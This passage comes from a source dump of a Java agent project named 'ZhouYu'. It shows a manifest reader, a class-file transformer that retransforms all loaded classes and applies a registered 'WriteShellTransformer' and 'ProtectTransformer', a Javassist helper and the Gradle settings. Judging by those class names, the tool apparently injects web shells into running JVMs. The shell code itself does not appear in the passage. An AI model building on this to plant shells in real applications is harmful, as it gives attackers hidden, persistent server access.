manifest = null; 246 | byte[] bytes = new byte[1024]; 247 | int count; 248 | JarEntry jarEntry; 249 | if (jarInputStream.getManifest() == null) { 250 | while((jarEntry = jarInputStream.getNextJarEntry()) != null) { 251 | if (jarEntry.getName().equals("META-INF/MANIFEST.MF")) { 252 | ByteArrayOutputStream readByteArrayOutputStream = new ByteArrayOutputStream(); 253 | while ((count = jarInputStream.read(bytes)) != -1) { 254 | readByteArrayOutputStream.write(bytes, 0, count); 255 | } 256 | manifest = new Manifest(); 257 | manifest.read(new ByteArrayInputStream(readByteArrayOutputStream.toByteArray())); 258 | break; 259 | } 260 | } 261 | } else { 262 | manifest = jarInputStream.getManifest(); 263 | } 264 | jarInputStream.close(); 265 | return manifest; 266 | } 267 | } 268 | -------------------------------------------------------------------------------- /core/src/main/java/zhouyu/core/transformer/CoreClassFileTransformer.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.transformer; 2 | 3 | import java.lang.instrument.ClassFileTransformer; 4 | import java.lang.instrument.IllegalClassFormatException; 5 | import java.lang.instrument.Instrumentation; 6 | import java.lang.instrument.UnmodifiableClassException; 7 | import java.security.ProtectionDomain; 8 | import java.util.ArrayList; 9 | import java.util.HashSet; 10 | import java.util.List; 11 | import java.util.Set; 12 | import zhouyu.core.init.ProtectTransformer; 13 | import zhouyu.core.init.WriteShellTransformer; 14 | 15 | public class CoreClassFileTransformer implements ClassFileTransformer { 16 | 17 | private Instrumentation inst; 18 | 19 | private static final List transformers = new ArrayList<>(); 20 | 21 | static { 22 | transformers.add(new WriteShellTransformer()); 23 | transformers.add(new ProtectTransformer()); 24 | } 25 | 26 | public CoreClassFileTransformer(Instrumentation inst) { 27 | this.inst = inst; 28 | } 29 | 30 | public void retransform() { 31 | Class[] classes = inst.getAllLoadedClasses(); 32 | if (classes != null) { 33 | Set classSet = new HashSet<>(); 34 | for (Class aClass : classes) { 35 | for (Transformer transformer : transformers) { 36 | if (transformer.condition(aClass.getName()) && inst.isModifiableClass(aClass)) { 37 | classSet.add(aClass); 38 | System.out.println(String.format("[ZhouYu] reload class: %s", aClass.getName())); 39 | break; 40 | } 41 | } 42 | } 43 | if (!classSet.isEmpty()) { 44 | try { 45 | inst.retransformClasses(classSet.toArray(new Class[classSet.size()])); 46 | } catch (UnmodifiableClassException e) { 47 | e.printStackTrace(); 48 | } 49 | } 50 | } 51 | } 52 | 53 | public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { 54 | for (Transformer transformer : transformers) { 55 | classfileBuffer = transformer.transformer(loader, className, classfileBuffer); 56 | } 57 | return classfileBuffer; 58 | } 59 | 60 | 61 | } 62 | -------------------------------------------------------------------------------- /core/src/main/java/zhouyu/core/transformer/Transformer.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.transformer; 2 | 3 | public interface Transformer { 4 | 5 | boolean condition(String className); 6 | 7 | byte[] transformer(ClassLoader loader, String className, byte[] codeBytes); 8 | } 9 | -------------------------------------------------------------------------------- /core/src/main/java/zhouyu/core/util/JavassistUtil.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.util; 2 | 3 | import java.util.Arrays; 4 | import java.util.HashSet; 5 | import java.util.Set; 6 | import javassist.CtClass; 7 | import javassist.CtConstructor; 8 | import javassist.CtMethod; 9 | 10 | public class JavassistUtil { 11 | 12 | public static Set getAllMethods(CtClass ctClass) { 13 | Set ctMethods = new HashSet<>(); 14 | ctMethods.addAll(Arrays.asList(ctClass.getDeclaredMethods())); 15 | ctMethods.addAll(Arrays.asList(ctClass.getMethods())); 16 | return ctMethods; 17 | } 18 | 19 | public static Set getAllConstructors(CtClass ctClass) { 20 | Set ctConstructors = new HashSet<>(); 21 | ctConstructors.addAll(Arrays.asList(ctClass.getDeclaredConstructors())); 22 | ctConstructors.addAll(Arrays.asList(ctClass.getConstructors())); 23 | return ctConstructors; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'ZhouYu' 2 | include 'agent' 3 | include 'core' 4 | 5 | --------------------------------------------------------------------------------